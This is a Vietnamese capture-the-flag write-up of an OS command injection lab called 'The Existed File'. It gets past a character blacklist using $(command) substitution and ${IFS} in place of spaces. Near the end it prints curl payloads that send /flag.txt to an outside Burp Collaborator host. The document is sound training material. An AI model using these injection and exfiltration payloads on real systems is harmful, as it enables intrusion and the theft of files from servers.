Hà hà hà hà……
Xin chào những người anh em thiện lành. Mình là Đệ Nhất Wuốc Xư Hoe Kỳ. Tuy mình chỉ được Cookie Hân Hoan thuê làm fan cứng nhưng được cái ham vui nên hôm nay mình sẽ lên cho anh em một con hàng nhỏ để lan tỏa cho mọi người là phụ, cái chính là mình không bị quên.
Đó là bài “The Existed File” ở trong chuỗi bài thực hành của Skill Path “OS COMMAND INJECTION”
Vào việc thôi!!!
Sau khi start challenge lên
Vẫn như thường mình copy host vào một tab trình duyệt khác để xem nó có gì thú zị, và bài này có luôn 1 file bí ẩn gì đấy để chúng ta tải về.
Vâng nhìn cái Host xong vì là gà mờ lem nên cũng chả biết làm gì tiếp sau khi nhập thử /flag.txt thì thông báo kia cũng không thay đổi gì. Mình thử nhập cat /flag.txt biết đâu hên xui lại được nhưng mà kết quả thật bất ngờ.
Blacklist characters detected!
Ủa có Blacklist à, thì lúc này mình mới nhớ ra là còn cái File vừa tải về chưa đụng vào.
Chúng ta sẽ đi qua xem trong file đấy có gì có ích không nhé!
Woa Amazing nộp bài thôi nhỉ flag.txt kia rồi. Nhưng sự bất ngờ ấy còn chưa hết, sau khi vào xem flag.txt là gì thì có cái nịt CHH{ThiS_i5_Y0ur_FaKE_fLaG}
Sau một lúc tìm trong tất cả các folder kia thì mình lấy được file run.py
Đọc từ trên xuống dưới thì mình thấy có 2 chỗ cần nắm ở trong đoạn code này
Đoạn code này được sử dụng để loại bỏ khoảng trắng khỏi đường dẫn đến tệp. Nó sử dụng phương thức translate() của lớp string để thay thế tất cả các ký tự khoảng trắng bằng giá trị None.
Và câu trả lời cho câu Blacklist characters detected! sau khi mình thử cat ở trên kia.
Tới đây rồi sau khi xem qua dàn blackpink kia à nhầm blacklist. Mình thấy chặn hết những câu lệnh để thực thi file rồi còn đâu. Hmmm bất lực 3p uống cốc nước. Thì bằng 1 cách thần kỳ nào đấy, mình nhớ ở trong phần Blackbox Testing trong Skill Path OS COMMAND INJECTION, Có nói về những cách thực thi lệnh:
Đây rồi chắc do ông nào code bị quên mất vẫn còn 1 cái nữa đó là $(command)
Tia hi vọng của mình lại được thắp lên một lần nữa sau cú lừa.
Đầu tiên mình thử mở Terminal trên máy để nhập ví dụ xem thứ bị quên lãng này là gì ?
Oh nó có in ra màn hình, đúng thứ chúng ta cần để đọc file flag.txt rồi.
Quay lại với tab đang chạy host thử luôn với thứ mình vừa tìm được ngay Hmmm tới đây mình thấy nó vẫn không xuất được nội dung file flag.txt lên giao diện để chúng ta lấy được Flag.
Tới đây mình nảy ra ý định hay làm cách gì đó để nó gửi được file qua 1 host khác mà mình có thể xem được nội dung.
Vào việc thôi, Blackbox mà thử hết những gì có thể.
Mình sẽ dùng Collaborator của BurpSuite luôn và ở đây mình sẽ dùng cách upload file qua url thôi. Lên Google gõ “curl upload file” xem mình sẽ có gì nào.
Có công thức rồi áp dụng vào thôi nhỉ
Cú pháp của mình đây nhé
$(curl -d @/flag.txt 536dgcs3l87u7csi48sgz2rxlorff73w.oastify.com)
Nhưng mà vẫn chưa được vì trong code có phần sẽ loại bỏ khoảng trắng, nên mình phải thay các khoảng trắng bằng ${IFS}
Có thể anh em thừa biết đó là biến $IFS là biến môi trường được sử dụng để xác định ký tự phân tách được sử dụng để tách các phần của một lệnh hoặc đối số. Giá trị mặc định của biến này là một khoảng trắng, tab hoặc ký tự xuống dòng. Tuy nhiên nó có thể được đặt thành bất kỳ ký tự nào khác.
Cú pháp cuối là:
$(curl${IFS}-d${IFS}@/flag.txt${IFS}536dgcs3l87u7csi48sgz2rxlorff73w.oastify.com)
Nhấn Submit thử vào quay lại BurpSuite chọn Poll now thấy có thông tin gửi tới là mừng rồi. Tiếp chọn phần thông tin type HTML và chọn vào Request to Collaborator thấy em Flag đã đứng đấy đợi mình rồi.
Bước cuối thì anh em biết làm gì rồi nhỉ, Copy và Paste rồi nộp bài thuiiiii.
Xong rồi tạm biệt anh em, mình được ngủ rồi hehehe. Cảm ơn và hẹn anh em ở những con hàng tiếp theo nhé.